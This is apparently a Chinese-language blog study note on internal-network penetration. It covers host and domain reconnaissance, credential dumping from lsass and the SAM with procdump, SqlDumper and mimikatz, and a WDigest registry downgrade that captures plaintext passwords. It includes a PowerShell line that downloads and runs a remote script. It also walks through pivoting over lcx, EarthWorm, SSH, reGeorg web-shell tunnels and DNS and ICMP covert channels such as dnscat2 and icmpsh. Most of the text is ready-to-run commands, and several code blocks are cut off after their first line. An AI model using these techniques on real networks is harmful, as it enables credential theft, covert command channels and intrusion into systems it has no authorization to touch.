最近在学习内网渗透,整理一些关于内网渗透的文章
信息收集
内网渗透需要不断收集网络信息&系统信息&应用信息&硬件信息,在用系统自带的命令加参数列表构成多功能查询或者第三方应用软件多维度查询,得到想要的目标结果,上一个命令为下一个命令做铺垫,环环相扣,最终集合全部有效的结果集,在进行内网渗透下一阶段实行动作做准备。
通用信息
网络配置信息
查看接入的网段,网关,子网掩码
使用Kali下的nbtscan工具获取主机名
1 | nbtscan -r 192.168.126.0/24 |
网络环境
网络拓扑
与外网的连通性
与内网其他网段的连通性
与外网之间是否有端口访问限制
与内网其他网段之间是否有端口访问限制
存活IP
对内网进行扫描需要做代理
F-NAScan
GitHub地址:https://github.com/ywolf/F-NAScan
netdiscover
Kali自带,扫描存活主机
nbtscan
1 | nbtscan -r 1192.168.126.0/24 |
nmap
1 | #nmap发现存活主机 |
nmap-vulners
下载地址:https://github.com/vulnersCom/nmap-vulners
需要在Nmap目录下下载
1 | #nmap vulner脚本扫描 |
nmap-vulscan
利用本地的配置文件来检索CVE漏洞信息
下载地址:https://github.com/scipag/vulscan
需要在Nmap目录下下载
查看本地的配置文件
1 | cd vulscan/utilities/updater |
使用
1 | #nmap vulscan 脚本 |
敏感信息
数据库密码
浏览器保存密码
浏览器历史记录
远程桌面历史记录
键盘记录
Windows
网络信息
1 | ipconfig /all |
域信息
1 | dsquery server #查询域中所有服务器 |
端口信息
1 | netstat -ano #查看端口开启情况 |
系统信息
1 | systeminfo |
安装信息
1 | wmic qfe #查看补丁信息 |
在Windows XP下,低权限用户不能使用WMIC命令
进程信息
1 | tasklist /svc |
用户信息
1 | net user |
敏感文件
1 | dir /b/s config.* #查看所有config配置文件 |
密码Hash
Windows下使用mimikatz
从SAM中提取目标系统本地用户密码Hash
使用reg
将sam
、system
和security
文件导出来,并拖回本地。
1 | cd Desktop |
PS:本地复原机器与目标机器需一致。
通过dump lsass.exe进程数据离线免杀抓取明文
1.procdump.exe
1 | C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bits |
本地还原
1 | mimikatz.exe |
2.PowerShell
1 | powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump" |
3.SqlDumper
如果目标系统上安装了Windows SQL Server
,SqlDumper.exe
默认存放在c:\Program Files\Microsoft SQL Server\number\Shared,其中number代表sql server的版本。
1 | 140 for SQL Server 2017 |
当然,如果没有安装有Windows SQL Server
的话,可以自己上传一个SqlDumper.exe
上去。
使用方法:
1 | c:\Users\Public>tasklist /svc |findstr lsass.exe" |
windows 10 / 2012r2 以后系统的明文密码抓取方式
在windows 10 / 2012
之后的系统版本中,默认情况下是禁用了在内存缓存中存储系统用户明文密码。此时使用mimikatz去抓取密码,会显示null,通过修改注册表来获取明文密码。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
改为1即可
通过PowerShell:
修改注册表键值为“1”:
1 | PS C:\> New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 |
锁定目标PC:
1 | PS C:\> Function Lock-WorkStation { |
抓取目标系统解锁事件:
1 | PS C:\> Register-wmievent -query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName = 'LogonUI.exe'" -Action $actionblock |
以上的这些操作,我们只需通过 Invoke-MimikatzWDigestDowngrade.ps1 这个 powershell 脚本就能轻松实现。
Linux
系统信息
1 | uname -a #查看内核版本 |
网络信息
1 | ifconfig |
敏感文件
1 | /etc/passwd |
进程信息
1 | top |
提权
打算写到另一篇文章里
端口转发
适用端口转发的网络环境有以下几种:
1.服务器处于内网,可以访问外部网络
2.服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接
3.服务器处于内网,对外只开放了80端口,并且服务器不能访问外网网络
对于以上三种情况,lcx可以突破1和2二种,但是第3种就没有办法了,因为lcx在使用中需要访问外部网络
实验环境:
角色 | 系统 | IP |
---|---|---|
攻击机 | Kali | 192.168.126.126 |
目标机1 | Windows XP | 192.168.126.26 192.168.26.26 |
目标机2 | Windows XP | 192.168.26.126 |
MSF端口转发
条件:
1.获取中间机的meterpreter会话
2.使用portfwd(MSF中的一个用于端口转发的模块)
1 | portfwd add -L 192.168.126.126 -l 126 -p 3389 -r 192.168.110.26 |
连接监听端口时,必须和portfwd中写的IP一致
Socket端口转发
Htran
正向连接
目标机
1 | htran -p -tran 监听端口 内网IP 端口 |
攻击机
1 | rdesktop 192.168.126.26:126 |
反向连接
攻击机
1 | htran -p -listen 监听端口 转发端口 |
目标机
1 | htran -p -slave 目标IP 转发端口 内网IP 端口 |
攻击机连接监听端口
1 | rdesktop 127.0.0.1:126 |
Fpipe
端口重定向
目标机
1 | fpipe.exe -l 监听端口 -s 转发端口 端口 内网IP |
将发送到本机426端口的连接通过126端口被重定向到C主机的3389端口上,然后再连接B的126端口即可连接到C的3389上
攻击机
1 | rdesktop 192.168.126.26:126 |
EarthWorm
正向连接
目标机
1 | ew -s lcx_tran -l 监听端口 -f 内网IP -g 端口 |
攻击机
1 | rdesktop 192.168.126.26:126 |
反向连接
攻击机
1 | ew -s lcx_listen -l 监听端口 -e 转发端口 |
目标机
1 | ew -s lcx_slave -d 公网IP -e 转发端口 -f 内网IP -g 端口 |
lcx
lcx是一个基于Socket套接字实现的端口转发工具,它是从Linux下的Htran工具移植到Windows平台的
一条正常的Socket隧道必须具备两端,一端为Server,它会监听一个端口等待Client连接;另一端为Client,通过传入Server的IP和端口,才能主动连接到服务器
Server
这里的Server端,也是目标服务器
1 | lcx -slave 126.126.126.126 12600 10.10.10.10 3389 |
将目标服务器3389端口所有的数据都转发到公网VPS的12600端口上
VPS
在VPS上执行
1 | lcx -listen 12600 126 |
将VPS 12600端口所有的数据转发到本机的126端口上
Client
这里的Client,也是攻击机
在完成上述操作之后,可以在Client上用mstsc登录VPS的12600端口,或直接在VPS上用mstsc登录本机的126端口,即可访问Server(目标服务器)的3389端口
lcx工具实现的是一对一端口转发,如果想要对内网进行扫描,就需要将目标服务器的所有端口进行端口转发,整个过程非常耗费时间,而且都是重复操作
这种情况下,就需要Socks代理
SSH隧道
编辑/etc/ssh/sshd_config
文件(服务器端)中:
1 | GatewayPorts yes |
接着重启ssh服务
参数详解:
1 | -q Quiet mode. 安静模式 |
端口转发
1 | ssh -qTfnN -L hostport:host:port -l user remote_ip #正向隧道 |
SSH端口转发-远程转发
SSH端口转发-远程转发
目标机
1 | ssh -R 转发端口:内网IP:内网端口 -fN 攻击机IP |
添加-p port
指定ssh端口
攻击机
1 | rdesktop 127.0.0.1:126 |
这样转发出来的端口,只能攻击机连接,想让其他机器连接,可以将本机的126端口转发出来,这里使用EarthWorm示范
1 | ew -s lcx_tran -l 1260 -f 127.0.0.1 -g 126 |
SSH端口转发-本地转发
攻击机
1 | ssh -L 监听端口:内网IP:内网端口 -fN 中间机IP |
攻击机
1 | rdesktop 127.0.0.1:126 |
举个例子
1 | ssh -N -R 5555:192.168.2.100:5556 username@host # 5555是本地端口,本地访问5555就是访问vps的5556 |
代理
SSH代理
攻击机
1 | ssh -D 127.0.0.1:1080 -p 22 user@IP |
需要知道目标机的IP和root密码
1 | vim /etc/proxychains.conf |
可以多层转发,重复上述操作,不过实际情况下,连接会很不流畅
Socks代理
Socks代理可以理解为一个增强版的lcx,它在Server监听一个服务端口,当有新的连接请求时会从Socks协议中解析出访问目标的URL的目标端口,再开始执行lcx的具体功能,默认端口1080
网络上Socks代理工具有很多,选用时尽可能使用无GUI界面的、尽可能不需要安装其他依赖软件的,能支持多平台操作系统的更佳
正向代理
攻击者主动通过代理来访问目标机器,目标机器可通过外网访问
反向代理
目标机器通过代理来访问攻击者
MSF代理
流程:
1.获取中间机的meterpreter会话
2.使用autoroute添加路由(在meterpreter中添加)
3.使用socks模块添加代理(在msfconsole中添加)
1 | run autoroute -s subnet |
1 | vim /etc/proxychains.conf |
Earthworm
下载地址:http://rootkiter.com/EarthWorm
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用
正向代理
适用于目标机器拥有一个外网IP
Server(目标机器)
1 | ew -s ssocksd -l 12600 |
目标机器假设了一个端口为12600的Socks代理,使用SocksCap64添加代理就可以直接连接目标机器
Client(攻击者)
使用SocksCap64连接
反向代理
适用于目标机器没有公网IP,但可访问内网资源
VPS
将Earthworm上传到VPS上
1 | ew -s rcsocks -l 1080 -e 126 |
在VPS上添加一个转接隧道,把1080端口收到的代理请求转交给126端口
目标机器
将Earthworm上传到目标机器上
1 | ew -s rssocks -d 126.126.126.126 -e 126 |
在目标机器上启动Socks V5服务,并反弹到VPS的126端口上
VPS
查看VPS的CMD界面,若反弹成功,则可以通过访问VPS的1080端口使用假设在目标机器上的Socks5代理服务
二级级联
情况1
假设获得了Server A和Server B的控制权限,A主机配有2块网卡,一块连通外网,一块10.10.10.10只能连接内网Server B,无法访问内网其它资源。Server B可以访问内网资源,但无法访问外网
Server B
1 | ew -s ssocksd -l 126 |
使用ssocksd方式启动126端口的Socks代理
Server A
1 | ew -s lcx_tran -l 1080 -f 10.10.10.26 -g 126 |
将1080端口收到的代理请求转交给Server B的126端口
通过使用Server A的外网26.26.26.26:1080
来使用在Server B架设的Socks5代理
数据流向:Socks5→1080→126→ssocksd
情况2
假设获得了Server A和Server B的控制权限,Server A没有公网IP,也无法访问内网资源。Server B可以访问内网资源,但无法访问外网
VPS
1 | ew –s lcx_listen –l 1080 –e 12600 |
在VPS添加转接隧道,将1080端口收到的代理请求转交给12600端口
Server B
1 | ew -s ssocksd -l 126 |
利用ssocksd方式启动126端口的socks代理
Server A
1 | ew -s lcx_slave -d 126.126.126.126 -e 12600 -f 10.10.10.26 -g 126 |
在Server A上利用lcx_slave方式,将VPS的12600端口和Server B的126端口连接起来
VPS
查看VPS的CMD界面,若连接成功,则可通过访问VPS地址126.126.126.126:10800
来使用在B主机架设的Socks5代理
数据流向:Socks5→1080→12600→Server A→126→ssocksd
三级级联
三级网络环境在实际渗透中用的比较少,也比较复杂,现在我们来一个个的讲解下三级级联的用法
假设渗透场景:Server A没有公网IP但可以访问外网,Server B不能访问外网但可以被Server A访问、Server C可被Server B访问而且能够访问核心区域
VPS
1 | ew -s rcsocks -l 1080 -e 1260 |
将1080端口收到的代理请求转交给1260端口
Server A
1 | ew -s lcx_slave -d 126.126.126.126 -e 1260 -f 10.10.2.26 -g 126 |
将VPS的1260端口和B主机的126端口连接起来
Server B
1 | ew -s lcx_listen -l 126 -e 26 |
将126端口收到的代理请求转交给26端口
Server C
1 | ew -s rssocks -d 10.10.2.26 -e 26 |
在C主机上启动SOCKS V5服务,并反弹到B主机的26端口上
Client
在Client上访问VPS126.126.126.126:1080
来使用在Server C上架设的Socks5代理
整个数据流是:Socks5→1080→1260→126→26→rssocks
HTTP代理
reGeorg
如果目标服务器有Web服务,可以使用reGeorg + proxychains(Linux) + Proxifier(Windows)
下载地址:https://github.com/sensepost/reGeorg
Server
将reGeorg的tunnel文件上传到目标服务器的网站目录下,选择对应语言的脚本
访问页面,若显示Georg says, 'All seems fine'
说明脚本正常运行
Client(Linux)
攻击机执行
1 | python reGeorgSocksProxy.py -p port -u http://target.com/tunnel.php |
修改proxychains.conf配置文件
1 | //不存在可以直接创建 |
扫描时,在命令前加上proxychains4
1 | proxychains4 nmap -sT -Pn 192.168.126.0/24 |
Client(Windows)
Proxifier
Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链
设置代理,Profile
→Proxy Servers
→add
→输入IP和port
→选择Protocol
IP地址为目标服务器的IP地址,端口和reGeory设置端口相同,类型为Socks Version
,代理规则为默认
右键扫描工具,选择Proxifier→Proxy SOCKS5 IP
进行代理
成功代理,可以在reGeorg看到数据流向
PS
reGeorg存在2个问题,解决方案在:
1.Cookie
在web容器层面发送一些跨域Cookie时,会出现多个Set-Cookie
,这时,由于返回一个List,在后续拼接到headers的时候,会出现问题,导致客户端不能正常区分会话,造成交互失败
在某些环境下,需要登录后才可以访问。但由于reGeorg不支持在指定Session下运行,所以需要做出修改
2.User-Agent
由于reGeorg直接请求,没有带User-Agent
头,所以网站返回500状态码。reGeorg需要200状态码才能正常工作,所以需要在reGeorg请求时加上请求头,在通讯包中也需要加上User-Agent
ABPTTS
TCP tunneling over HTTP for web application servers
py环境
1 | //加密库 |
生成服务端,和reGeorg的tunnel文件相同
1 | python abpttsfactory.py -o tunnel |
将生成的tunnel文件上传到目标服务器上
Client
1 | python abpttsclient.py -c tunnel/config.txt -u "http://www.target.com/abptts.php" -f 127.0.0.1:12600/126.126.126.126:3389 |
-f
表示将目标服务器的3389端口转发到本机的12600端口
转发成功之后,使用Socks代理工具绑定本机的12600端口,即可访问目标服务器内网中的资源
DNS隧道
不论对出站流量采取多么严格的访问控制,你可能都要允许至少对一个服务器的 DNS 请求。对手就可以利用这个防火墙上的“大洞”来偷运数据,并且建立一个非常难以限制的隐蔽命令控制信道。
Iodine
它几乎是和hans icmp隧道
工具一样的工作机制,它在它们之间创建一对tun适配器和隧道数据作为DNS查询。
介绍:https://code.kryo.se/iodine/
下载地址:https://github.com/yarrick/iodine
README:https://code.kryo.se/iodine/README.html
使用手册:https://code.kryo.se/iodine/iodine_manpage.html
VPS:
1 | iodined -f -c -P password 10.0.0.1 tunneldomain.com |
Client端:
1 | iodine -f -r -P password <source-IP> tunneldomain.com |
source-IP是VPS的公网IP
成功连接将直接在客户端生成地址10.0.0.2
。请注意,这种隧道技术的速度相当慢。最好的办法是在生成的连接上使用ssh连接:
1 | ssh <user>@10.0.0.2 |
需要重新开启一个终端
PS
在Windows环境下使用需要TAP adapter
在Linux环境下使用需要安装zlib1g-dev
1 | apt install zlib1g-dev |
Dnscat2
通过建立C&C通道递归DNS查询。此工具不需要root/administrator权限(在Windows和Linux上都可以使用)。它还支持端口转发。
下载地址:https://github.com/iagox86/dnscat2
需求环境
Server
安装Ruby、gem
1 | apt install ruby |
修改gem源
1 | gem sources --remove http://rubygems.org/ |
安装
Client
Client使用C编写,不需要安装环境
1 | cd dnscat2/client |
Server
Server的安装需要Ruby,gem,并且安装过程中需要root权限
1 | cd dnscat2/server |
可能需要安装下列package
1 | gem install ecdsa,salsa20,sha3,trollop |
使用
Server
使用时,需要有root权限
1 | cd dnscat2/server |
运行之后会自动生成命令,在Client端直接运行即可
Client
1 | //secret可以不写 |
连接之后,在Server执行命令
1 | windows |
将目标机12600端口转发到攻击机的126端口
PS
虽然运行不需要root/administrator权限,但在执行gem install bundler
时,可能需要root权限。如果没有root权限,可以使用rvm
安装。
ICMP隧道
ICMP隧道是通过将任意数据注入发送到远程计算机的回送数据包来工作的。要判断是否能使用ICMP隧道,只需要关注一件事情:可以ping一个外部服务器。如果能到达外部网络,那么很有可能可以建立一个icmp隧道。缺点是需要root/administrator权限
下载地址:https://github.com/inquisb/icmpsh
VPS
1 | git clone https://github.com/inquisb/icmpsh.git |
source IP是内网可ping的IP地址,destination IP是目标服务器的IP
Server
1 | icmpsh.exe -t 126.126.126.126 -d 500 -b 30 -s 128 |
PS
一旦执行反弹命令,360安全卫士和火绒都会将icmpsh.exe
作为木马处理
ptunnel
目标机
1 | ptunnel -x password |
攻击机
1 | ptunel -p proxy (指向中间机IP) -lp 126 (本机启用端口) -da destination(内网IP) -dp 22(内网端口) -x password(da目标地址 dp 内网端口 -x 密码) |
攻击机
1 | rdesktop 127.0.0.1:126 |
SSH隧道
正向代理
1 | SSH -qTfnN -D port remotehost #直接进行socks代理 |
远程转发(反向)
1 | 第一步: |
工具
Metasploit
进程迁移
获得Meterpreter Shell之后,第一步要做的是进程迁移,因为当前进程可能随时被用户关闭,而断开连接。将Shell和目标机器的一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这会使得渗透过程更隐蔽。
1 | #获得当前进程号 |
Cobalt Strike
横向渗透
域渗透
后门
痕迹清理
参考
[] 内网渗透归纳(持续更新)
[] 【渗透技巧】内网渗透思路
[] 内网渗透–信息收集(一)
[] 内网渗透–信息收集(二)
[] 内网渗透–信息收集(三)
[] 渗透测试 之 代理篇
[] SSH端口转发详解及实例